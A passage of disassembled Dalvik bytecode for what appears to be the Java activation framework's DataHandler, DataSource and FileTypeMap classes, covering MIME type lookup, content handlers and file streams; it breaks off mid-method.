.method static synthetic access$0(DataHandler)Object
          .registers 2
00000000  iget-object             v0, p0, DataHandler->object:Object
00000004  return-object           v0
.end method

.method static synthetic access$1(DataHandler)String
          .registers 2
00000000  iget-object             v0, p0, DataHandler->objectMimeType:String
00000004  return-object           v0
.end method

.method private declared-synchronized getBaseType()String
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DataHandler->shortType:String
00000006  if-nez                  v0, :28
:A
0000000A  invoke-virtual          DataHandler->getContentType()String, p0
:10
00000010  move-result-object      v0
:12
00000012  new-instance            v1, MimeType
00000016  invoke-direct           MimeType-><init>(String)V, v1, v0
0000001C  invoke-virtual          MimeType->getBaseType()String, v1
00000022  move-result-object      v1
00000024  iput-object             v1, p0, DataHandler->shortType:String
:28
00000028  iget-object             v0, p0, DataHandler->shortType:String
:2C
0000002C  monitor-exit            p0
0000002E  return-object           v0
:30
00000030  move-exception          v1
:32
00000032  iput-object             v0, p0, DataHandler->shortType:String
:36
00000036  goto                    :28
:38
00000038  move-exception          v0
0000003A  monitor-exit            p0
0000003C  throw                   v0
          .catchall {:2 .. :10} :38
          .catch MimeTypeParseException {:12 .. :28} :30
          .catchall {:12 .. :28} :38
          .catchall {:28 .. :2C} :38
          .catchall {:32 .. :36} :38
.end method

.method private declared-synchronized getCommandMap()CommandMap
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DataHandler->currentCommandMap:CommandMap
00000006  if-eqz                  v0, :12
:A
0000000A  iget-object             v0, p0, DataHandler->currentCommandMap:CommandMap
:E
0000000E  monitor-exit            p0
00000010  return-object           v0
:12
00000012  invoke-static           CommandMap->getDefaultCommandMap()CommandMap
:18
00000018  move-result-object      v0
0000001A  goto                    :E
:1C
0000001C  move-exception          v0
0000001E  monitor-exit            p0
00000020  throw                   v0
          .catchall {:2 .. :E} :1C
          .catchall {:12 .. :18} :1C
.end method

.method private declared-synchronized getDataContentHandler()DataContentHandler
          .registers 5
00000000  monitor-enter           p0
:2
00000002  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
00000006  iget-object             v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000000A  if-eq                   v0, v1, :2A
:E
0000000E  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
00000012  iput-object             v0, p0, DataHandler->oldFactory:DataContentHandlerFactory
00000016  const/4                 v0, 0x0
00000018  iput-object             v0, p0, DataHandler->factoryDCH:DataContentHandler
0000001C  const/4                 v0, 0x0
0000001E  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
00000022  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000026  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
:2A
0000002A  iget-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
0000002E  if-eqz                  v0, :3A
:32
00000032  iget-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
:36
00000036  monitor-exit            p0
00000038  return-object           v0
:3A
0000003A  invoke-direct           DataHandler->getBaseType()String, p0
00000040  move-result-object      v0
00000042  iget-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
00000046  if-nez                  v1, :62
:4A
0000004A  sget-object             v1, DataHandler->factory:DataContentHandlerFactory
0000004E  if-eqz                  v1, :62
:52
00000052  sget-object             v1, DataHandler->factory:DataContentHandlerFactory
00000056  invoke-interface        DataContentHandlerFactory->createDataContentHandler(String)DataContentHandler, v1, v0
0000005C  move-result-object      v1
0000005E  iput-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
:62
00000062  iget-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
00000066  if-eqz                  v1, :72
:6A
0000006A  iget-object             v1, p0, DataHandler->factoryDCH:DataContentHandler
0000006E  iput-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
:72
00000072  iget-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
00000076  if-nez                  v1, :9A
:7A
0000007A  iget-object             v1, p0, DataHandler->dataSource:DataSource
0000007E  if-eqz                  v1, :BE
:82
00000082  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
00000088  move-result-object      v1
0000008A  iget-object             v2, p0, DataHandler->dataSource:DataSource
0000008E  invoke-virtual          CommandMap->createDataContentHandler(String, DataSource)DataContentHandler, v1, v0, v2
00000094  move-result-object      v0
00000096  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
:9A
0000009A  iget-object             v0, p0, DataHandler->dataSource:DataSource
0000009E  if-eqz                  v0, :DA
:A2
000000A2  new-instance            v0, DataSourceDataContentHandler
000000A6  iget-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
000000AA  iget-object             v2, p0, DataHandler->dataSource:DataSource
000000AE  invoke-direct           DataSourceDataContentHandler-><init>(DataContentHandler, DataSource)V, v0, v1, v2
000000B4  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
:B8
000000B8  iget-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
000000BC  goto                    :36
:BE
000000BE  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
000000C4  move-result-object      v1
000000C6  invoke-virtual          CommandMap->createDataContentHandler(String)DataContentHandler, v1, v0
000000CC  move-result-object      v0
000000CE  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
:D2
000000D2  goto                    :9A
:D4
000000D4  move-exception          v0
000000D6  monitor-exit            p0
000000D8  throw                   v0
:DA
000000DA  new-instance            v0, ObjectDataContentHandler
000000DE  iget-object             v1, p0, DataHandler->dataContentHandler:DataContentHandler
000000E2  iget-object             v2, p0, DataHandler->object:Object
000000E6  iget-object             v3, p0, DataHandler->objectMimeType:String
000000EA  invoke-direct           ObjectDataContentHandler-><init>(DataContentHandler, Object, String)V, v0, v1, v2, v3
000000F0  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
:F4
000000F4  goto                    :B8
          .catchall {:2 .. :36} :D4
          .catchall {:3A .. :D2} :D4
          .catchall {:DA .. :F4} :D4
.end method

.method public static declared-synchronized setDataContentHandlerFactory(DataContentHandlerFactory)V
          .registers 5
00000000  const-class             v1, DataHandler
00000004  monitor-enter           v1
:6
00000006  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
0000000A  if-eqz                  v0, :24
:E
0000000E  new-instance            v0, Error
00000012  const-string            v2, "DataContentHandlerFactory already defined"
00000016  invoke-direct           Error-><init>(String)V, v0, v2
0000001C  throw                   v0
:1E
0000001E  move-exception          v0
00000020  monitor-exit            v1
00000022  throw                   v0
:24
00000024  invoke-static           System->getSecurityManager()SecurityManager
:2A
0000002A  move-result-object      v0
0000002C  if-eqz                  v0, :36
:30
00000030  invoke-virtual          SecurityManager->checkSetFactory()V, v0
:36
00000036  sput-object             p0, DataHandler->factory:DataContentHandlerFactory
:3A
0000003A  monitor-exit            v1
0000003C  return-void
:3E
0000003E  move-exception          v0
:40
00000040  const-class             v2, DataHandler
00000044  invoke-virtual          Class->getClassLoader()ClassLoader, v2
0000004A  move-result-object      v2
0000004C  invoke-virtual          Object->getClass()Class, p0
00000052  move-result-object      v3
00000054  invoke-virtual          Class->getClassLoader()ClassLoader, v3
0000005A  move-result-object      v3
0000005C  if-eq                   v2, v3, :36
:60
00000060  throw                   v0
          .catchall {:6 .. :1E} :1E
          .catchall {:24 .. :2A} :1E
          .catch SecurityException {:30 .. :36} :3E
          .catchall {:30 .. :36} :1E
          .catchall {:36 .. :3A} :1E
          .catchall {:40 .. :62} :1E
.end method

.method public getAllCommands()[CommandInfo
          .registers 4
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :26
:8
00000008  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000000E  move-result-object      v0
00000010  invoke-direct           DataHandler->getBaseType()String, p0
00000016  move-result-object      v1
00000018  iget-object             v2, p0, DataHandler->dataSource:DataSource
0000001C  invoke-virtual          CommandMap->getAllCommands(String, DataSource)[CommandInfo, v0, v1, v2
00000022  move-result-object      v0
:24
00000024  return-object           v0
:26
00000026  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000002C  move-result-object      v0
0000002E  invoke-direct           DataHandler->getBaseType()String, p0
00000034  move-result-object      v1
00000036  invoke-virtual          CommandMap->getAllCommands(String)[CommandInfo, v0, v1
0000003C  move-result-object      v0
0000003E  goto                    :24
.end method

.method public getBean(CommandInfo)Object
          .registers 4
00000000  const/4                 v0, 0x0
:2
00000002  invoke-static           SecuritySupport->getContextClassLoader()ClassLoader
00000008  move-result-object      v1
0000000A  if-nez                  v1, :1E
:E
0000000E  invoke-virtual          Object->getClass()Class, p0
00000014  move-result-object      v1
00000016  invoke-virtual          Class->getClassLoader()ClassLoader, v1
0000001C  move-result-object      v1
:1E
0000001E  invoke-virtual          CommandInfo->getCommandObject(DataHandler, ClassLoader)Object, p1, p0, v1
:24
00000024  move-result-object      v0
:26
00000026  return-object           v0
:28
00000028  move-exception          v1
0000002A  goto                    :26
:2C
0000002C  move-exception          v1
0000002E  goto                    :26
          .catch IOException {:2 .. :24} :2C
          .catch ClassNotFoundException {:2 .. :24} :28
.end method

.method public getCommand(String)CommandInfo
          .registers 5
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :26
:8
00000008  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000000E  move-result-object      v0
00000010  invoke-direct           DataHandler->getBaseType()String, p0
00000016  move-result-object      v1
00000018  iget-object             v2, p0, DataHandler->dataSource:DataSource
0000001C  invoke-virtual          CommandMap->getCommand(String, String, DataSource)CommandInfo, v0, v1, p1, v2
00000022  move-result-object      v0
:24
00000024  return-object           v0
:26
00000026  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000002C  move-result-object      v0
0000002E  invoke-direct           DataHandler->getBaseType()String, p0
00000034  move-result-object      v1
00000036  invoke-virtual          CommandMap->getCommand(String, String)CommandInfo, v0, v1, p1
0000003C  move-result-object      v0
0000003E  goto                    :24
.end method

.method public getContent()Object
          .registers 3
00000000  iget-object             v0, p0, DataHandler->object:Object
00000004  if-eqz                  v0, :E
:8
00000008  iget-object             v0, p0, DataHandler->object:Object
:C
0000000C  return-object           v0
:E
0000000E  invoke-direct           DataHandler->getDataContentHandler()DataContentHandler, p0
00000014  move-result-object      v0
00000016  invoke-virtual          DataHandler->getDataSource()DataSource, p0
0000001C  move-result-object      v1
0000001E  invoke-interface        DataContentHandler->getContent(DataSource)Object, v0, v1
00000024  move-result-object      v0
00000026  goto                    :C
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataHandler->dataSource:DataSource
0000000C  invoke-interface        DataSource->getContentType()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  iget-object             v0, p0, DataHandler->objectMimeType:String
0000001A  goto                    :14
.end method

.method public getDataSource()DataSource
          .registers 2
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-nez                  v0, :24
:8
00000008  iget-object             v0, p0, DataHandler->objDataSource:DataSource
0000000C  if-nez                  v0, :1E
:10
00000010  new-instance            v0, DataHandlerDataSource
00000014  invoke-direct           DataHandlerDataSource-><init>(DataHandler)V, v0, p0
0000001A  iput-object             v0, p0, DataHandler->objDataSource:DataSource
:1E
0000001E  iget-object             v0, p0, DataHandler->objDataSource:DataSource
:22
00000022  return-object           v0
:24
00000024  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000028  goto                    :22
.end method

.method public getInputStream()InputStream
          .registers 6
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataHandler->dataSource:DataSource
0000000C  invoke-interface        DataSource->getInputStream()InputStream, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  invoke-direct           DataHandler->getDataContentHandler()DataContentHandler, p0
0000001C  move-result-object      v1
0000001E  if-nez                  v1, :54
:22
00000022  new-instance            v0, UnsupportedDataTypeException
00000026  new-instance            v1, StringBuilder
0000002A  const-string            v2, "no DCH for MIME type "
0000002E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000034  invoke-direct           DataHandler->getBaseType()String, p0
0000003A  move-result-object      v2
0000003C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000042  move-result-object      v1
00000044  invoke-virtual          StringBuilder->toString()String, v1
0000004A  move-result-object      v1
0000004C  invoke-direct           UnsupportedDataTypeException-><init>(String)V, v0, v1
00000052  throw                   v0
:54
00000054  instance-of             v0, v1, ObjectDataContentHandler
00000058  if-eqz                  v0, :A0
:5C
0000005C  move-object             v0, v1
0000005E  check-cast              v0, ObjectDataContentHandler
00000062  invoke-virtual          ObjectDataContentHandler->getDCH()DataContentHandler, v0
00000068  move-result-object      v0
0000006A  if-nez                  v0, :A0
:6E
0000006E  new-instance            v0, UnsupportedDataTypeException
00000072  new-instance            v1, StringBuilder
00000076  const-string            v2, "no object DCH for MIME type "
0000007A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000080  invoke-direct           DataHandler->getBaseType()String, p0
00000086  move-result-object      v2
00000088  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000008E  move-result-object      v1
00000090  invoke-virtual          StringBuilder->toString()String, v1
00000096  move-result-object      v1
00000098  invoke-direct           UnsupportedDataTypeException-><init>(String)V, v0, v1
0000009E  throw                   v0
:A0
000000A0  new-instance            v2, PipedOutputStream
000000A4  invoke-direct           PipedOutputStream-><init>()V, v2
000000AA  new-instance            v0, PipedInputStream
000000AE  invoke-direct           PipedInputStream-><init>(PipedOutputStream)V, v0, v2
000000B4  new-instance            v3, Thread
000000B8  new-instance            v4, DataHandler$1
000000BC  invoke-direct           DataHandler$1-><init>(DataHandler, PipedOutputStream, DataContentHandler)V, v4, p0, v2, v1
000000C2  const-string            v1, "DataHandler.getInputStream"
000000C6  invoke-direct           Thread-><init>(Runnable, String)V, v3, v4, v1
000000CC  invoke-virtual          Thread->start()V, v3
000000D2  goto                    :14
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataHandler->dataSource:DataSource
0000000C  invoke-interface        DataSource->getName()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getOutputStream()OutputStream
          .registers 2
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataHandler->dataSource:DataSource
0000000C  invoke-interface        DataSource->getOutputStream()OutputStream, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getPreferredCommands()[CommandInfo
          .registers 4
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :26
:8
00000008  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000000E  move-result-object      v0
00000010  invoke-direct           DataHandler->getBaseType()String, p0
00000016  move-result-object      v1
00000018  iget-object             v2, p0, DataHandler->dataSource:DataSource
0000001C  invoke-virtual          CommandMap->getPreferredCommands(String, DataSource)[CommandInfo, v0, v1, v2
00000022  move-result-object      v0
:24
00000024  return-object           v0
:26
00000026  invoke-direct           DataHandler->getCommandMap()CommandMap, p0
0000002C  move-result-object      v0
0000002E  invoke-direct           DataHandler->getBaseType()String, p0
00000034  move-result-object      v1
00000036  invoke-virtual          CommandMap->getPreferredCommands(String)[CommandInfo, v0, v1
0000003C  move-result-object      v0
0000003E  goto                    :24
.end method

.method public getTransferData(DataFlavor)Object
          .registers 4
00000000  invoke-direct           DataHandler->getDataContentHandler()DataContentHandler, p0
00000006  move-result-object      v0
00000008  iget-object             v1, p0, DataHandler->dataSource:DataSource
0000000C  invoke-interface        DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, v1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public declared-synchronized getTransferDataFlavors()[DataFlavor
          .registers 3
00000000  monitor-enter           p0
:2
00000002  sget-object             v0, DataHandler->factory:DataContentHandlerFactory
00000006  iget-object             v1, p0, DataHandler->oldFactory:DataContentHandlerFactory
0000000A  if-eq                   v0, v1, :16
:E
0000000E  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000012  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
:16
00000016  iget-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
0000001A  sget-object             v1, DataHandler->emptyFlavors:[DataFlavor
0000001E  if-ne                   v0, v1, :36
:22
00000022  invoke-direct           DataHandler->getDataContentHandler()DataContentHandler, p0
00000028  move-result-object      v0
0000002A  invoke-interface        DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
00000030  move-result-object      v0
00000032  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
:36
00000036  iget-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
:3A
0000003A  monitor-exit            p0
0000003C  return-object           v0
:3E
0000003E  move-exception          v0
00000040  monitor-exit            p0
00000042  throw                   v0
          .catchall {:2 .. :3A} :3E
.end method

.method public isDataFlavorSupported(DataFlavor)Z
          .registers 6
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          DataHandler->getTransferDataFlavors()[DataFlavor, p0
00000008  move-result-object      v2
0000000A  move                    v0, v1
:C
0000000C  array-length            v3, v2
0000000E  if-lt                   v0, v3, :14
:12
00000012  return                  v1
:14
00000014  aget-object             v3, v2, v0
00000018  invoke-virtual          DataFlavor->equals(DataFlavor)Z, v3, p1
0000001E  move-result             v3
00000020  if-eqz                  v3, :28
:24
00000024  const/4                 v1, 0x1
00000026  goto                    :12
:28
00000028  add-int/lit8            v0, v0, 0x1
0000002C  goto                    :C
.end method

.method public declared-synchronized setCommandMap(CommandMap)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DataHandler->currentCommandMap:CommandMap
00000006  if-ne                   p1, v0, :E
:A
0000000A  if-nez                  p1, :20
:E
0000000E  sget-object             v0, DataHandler->emptyFlavors:[DataFlavor
00000012  iput-object             v0, p0, DataHandler->transferFlavors:[DataFlavor
00000016  const/4                 v0, 0x0
00000018  iput-object             v0, p0, DataHandler->dataContentHandler:DataContentHandler
0000001C  iput-object             p1, p0, DataHandler->currentCommandMap:CommandMap
:20
00000020  monitor-exit            p0
00000022  return-void
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
          .catchall {:2 .. :20} :24
.end method

.method public writeTo(OutputStream)V
          .registers 6
00000000  iget-object             v0, p0, DataHandler->dataSource:DataSource
00000004  if-eqz                  v0, :44
:8
00000008  const/16                v0, 0x2000
0000000C  new-array               v0, v0, [B
00000010  iget-object             v1, p0, DataHandler->dataSource:DataSource
00000014  invoke-interface        DataSource->getInputStream()InputStream, v1
0000001A  move-result-object      v1
:1C
0000001C  invoke-virtual          InputStream->read([B)I, v1, v0
:22
00000022  move-result             v2
00000024  if-gtz                  v2, :30
:28
00000028  invoke-virtual          InputStream->close()V, v1
:2E
0000002E  return-void
:30
00000030  const/4                 v3, 0x0
:32
00000032  invoke-virtual          OutputStream->write([B, I, I)V, p1, v0, v3, v2
:38
00000038  goto                    :1C
:3A
0000003A  move-exception          v0
0000003C  invoke-virtual          InputStream->close()V, v1
00000042  throw                   v0
:44
00000044  invoke-direct           DataHandler->getDataContentHandler()DataContentHandler, p0
0000004A  move-result-object      v0
0000004C  iget-object             v1, p0, DataHandler->object:Object
00000050  iget-object             v2, p0, DataHandler->objectMimeType:String
00000054  invoke-interface        DataContentHandler->writeTo(Object, String, OutputStream)V, v0, v1, v2, p1
0000005A  goto                    :2E
          .catchall {:1C .. :22} :3A
          .catchall {:32 .. :38} :3A
.end method

#--------------------------------------------------------------------------------
.class DataHandlerDataSource
.super Object
.source ""

.implements DataSource

.field dataHandler:DataHandler

.method public constructor <init>(DataHandler)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-object             v0, p0, DataHandlerDataSource->dataHandler:DataHandler
0000000C  iput-object             p1, p0, DataHandlerDataSource->dataHandler:DataHandler
00000010  return-void
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004  invoke-virtual          DataHandler->getContentType()String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 2
00000000  iget-object             v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004  invoke-virtual          DataHandler->getInputStream()InputStream, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004  invoke-virtual          DataHandler->getName()String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getOutputStream()OutputStream
          .registers 2
00000000  iget-object             v0, p0, DataHandlerDataSource->dataHandler:DataHandler
00000004  invoke-virtual          DataHandler->getOutputStream()OutputStream, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class DataSourceDataContentHandler
.super Object
.source ""

.implements DataContentHandler

.field private dch:DataContentHandler
.field private ds:DataSource
.field private transferFlavors:[DataFlavor

.method public constructor <init>(DataContentHandler, DataSource)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, DataSourceDataContentHandler->ds:DataSource
0000000C  iput-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000010  iput-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000014  iput-object             p2, p0, DataSourceDataContentHandler->ds:DataSource
00000018  iput-object             p1, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000001C  return-void
.end method

.method public getContent(DataSource)Object
          .registers 3
00000000  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C  invoke-interface        DataContentHandler->getContent(DataSource)Object, v0, p1
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  invoke-interface        DataSource->getInputStream()InputStream, p1
0000001C  move-result-object      v0
0000001E  goto                    :14
.end method

.method public getTransferData(DataFlavor, DataSource)Object
          .registers 5
00000000  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C  invoke-interface        DataContentHandler->getTransferData(DataFlavor, DataSource)Object, v0, p1, p2
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  invoke-virtual          DataSourceDataContentHandler->getTransferDataFlavors()[DataFlavor, p0
0000001C  move-result-object      v0
0000001E  const/4                 v1, 0x0
00000020  aget-object             v0, v0, v1
00000024  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p1, v0
0000002A  move-result             v0
0000002C  if-eqz                  v0, :3A
:30
00000030  invoke-interface        DataSource->getInputStream()InputStream, p2
00000036  move-result-object      v0
00000038  goto                    :14
:3A
0000003A  new-instance            v0, UnsupportedFlavorException
0000003E  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000044  throw                   v0
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 6
00000000  iget-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000004  if-nez                  v0, :20
:8
00000008  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C  if-eqz                  v0, :26
:10
00000010  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000014  invoke-interface        DataContentHandler->getTransferDataFlavors()[DataFlavor, v0
0000001A  move-result-object      v0
0000001C  iput-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
:20
00000020  iget-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000024  return-object           v0
:26
00000026  const/4                 v0, 0x1
00000028  new-array               v0, v0, [DataFlavor
0000002C  iput-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000030  iget-object             v0, p0, DataSourceDataContentHandler->transferFlavors:[DataFlavor
00000034  const/4                 v1, 0x0
00000036  new-instance            v2, ActivationDataFlavor
0000003A  iget-object             v3, p0, DataSourceDataContentHandler->ds:DataSource
0000003E  invoke-interface        DataSource->getContentType()String, v3
00000044  move-result-object      v3
00000046  iget-object             v4, p0, DataSourceDataContentHandler->ds:DataSource
0000004A  invoke-interface        DataSource->getContentType()String, v4
00000050  move-result-object      v4
00000052  invoke-direct           ActivationDataFlavor-><init>(String, String)V, v2, v3, v4
00000058  aput-object             v2, v0, v1
0000005C  goto                    :20
.end method

.method public writeTo(Object, String, OutputStream)V
          .registers 7
00000000  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
00000004  if-eqz                  v0, :14
:8
00000008  iget-object             v0, p0, DataSourceDataContentHandler->dch:DataContentHandler
0000000C  invoke-interface        DataContentHandler->writeTo(Object, String, OutputStream)V, v0, p1, p2, p3
00000012  return-void
:14
00000014  new-instance            v0, UnsupportedDataTypeException
00000018  new-instance            v1, StringBuilder
0000001C  const-string            v2, "no DCH for content type "
00000020  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000026  iget-object             v2, p0, DataSourceDataContentHandler->ds:DataSource
0000002A  invoke-interface        DataSource->getContentType()String, v2
00000030  move-result-object      v2
00000032  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000038  move-result-object      v1
0000003A  invoke-virtual          StringBuilder->toString()String, v1
00000040  move-result-object      v1
00000042  invoke-direct           UnsupportedDataTypeException-><init>(String)V, v0, v1
00000048  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public FileDataSource
.super Object
.source ""

.implements DataSource

.field private _file:File
.field private typeMap:FileTypeMap

.method public constructor <init>(File)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, FileDataSource->_file:File
0000000C  iput-object             v0, p0, FileDataSource->typeMap:FileTypeMap
00000010  iput-object             p1, p0, FileDataSource->_file:File
00000014  return-void
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  new-instance            v0, File
00000004  invoke-direct           File-><init>(String)V, v0, p1
0000000A  invoke-direct           FileDataSource-><init>(File)V, p0, v0
00000010  return-void
.end method

.method public getContentType()String
          .registers 3
00000000  iget-object             v0, p0, FileDataSource->typeMap:FileTypeMap
00000004  if-nez                  v0, :1E
:8
00000008  invoke-static           FileTypeMap->getDefaultFileTypeMap()FileTypeMap
0000000E  move-result-object      v0
00000010  iget-object             v1, p0, FileDataSource->_file:File
00000014  invoke-virtual          FileTypeMap->getContentType(File)String, v0, v1
0000001A  move-result-object      v0
:1C
0000001C  return-object           v0
:1E
0000001E  iget-object             v0, p0, FileDataSource->typeMap:FileTypeMap
00000022  iget-object             v1, p0, FileDataSource->_file:File
00000026  invoke-virtual          FileTypeMap->getContentType(File)String, v0, v1
0000002C  move-result-object      v0
0000002E  goto                    :1C
.end method

.method public getFile()File
          .registers 2
00000000  iget-object             v0, p0, FileDataSource->_file:File
00000004  return-object           v0
.end method

.method public getInputStream()InputStream
          .registers 3
00000000  new-instance            v0, FileInputStream
00000004  iget-object             v1, p0, FileDataSource->_file:File
00000008  invoke-direct           FileInputStream-><init>(File)V, v0, v1
0000000E  return-object           v0
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, FileDataSource->_file:File
00000004  invoke-virtual          File->getName()String, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public getOutputStream()OutputStream
          .registers 3
00000000  new-instance            v0, FileOutputStream
00000004  iget-object             v1, p0, FileDataSource->_file:File
00000008  invoke-direct           FileOutputStream-><init>(File)V, v0, v1
0000000E  return-object           v0
.end method

.method public setFileTypeMap(FileTypeMap)V
          .registers 2
00000000  iput-object             p1, p0, FileDataSource->typeMap:FileTypeMap
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract FileTypeMap
.super Object
.source ""

.field private static defaultMap:FileTypeMap

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-object             v0, FileTypeMap->defaultMap:FileTypeMap
00000006  return-void
.end method

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getDefaultFileTypeMap()FileTypeMap
          .registers 1
00000000  sget-object             v0, FileTypeMap->defaultMap:FileTypeMap
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, MimetypesFileTypeMap
0000000C  invoke-direct           MimetypesFileTypeMap-><init>()V, v0
00000012  sput-object             v0, FileTypeMap->defaultMap:FileTypeMap
:16
00000016  sget-object             v0, FileTypeMap->defaultMap:FileTypeMap
0000001A  return-object           v0
.end method

.method public static setDefaultFileTypeMap(FileTypeMap)V
          .registers 4
00000000  invoke-static           System->getSecurityManager()SecurityManager
00000006  move-result-object      v0
00000008  if-eqz                  v0, :12
:C
0000000C  invoke-virtual          SecurityManager->checkSetFactory()V, v0
:12
00000012  sput-object             p0, FileTypeMap->defaultMap:FileTypeMap
00000016  return-void
:18
00000018  move-exception          v0
0000001A  const-class             v1, FileTypeMap
0000001E  invoke-virtual          Class->getClassLoader()ClassLoader, v1
00000024  move-result-object      v1
00000026  invoke-virtual          Object->getClass()Class, p0
0000002C  move-result-object      v2
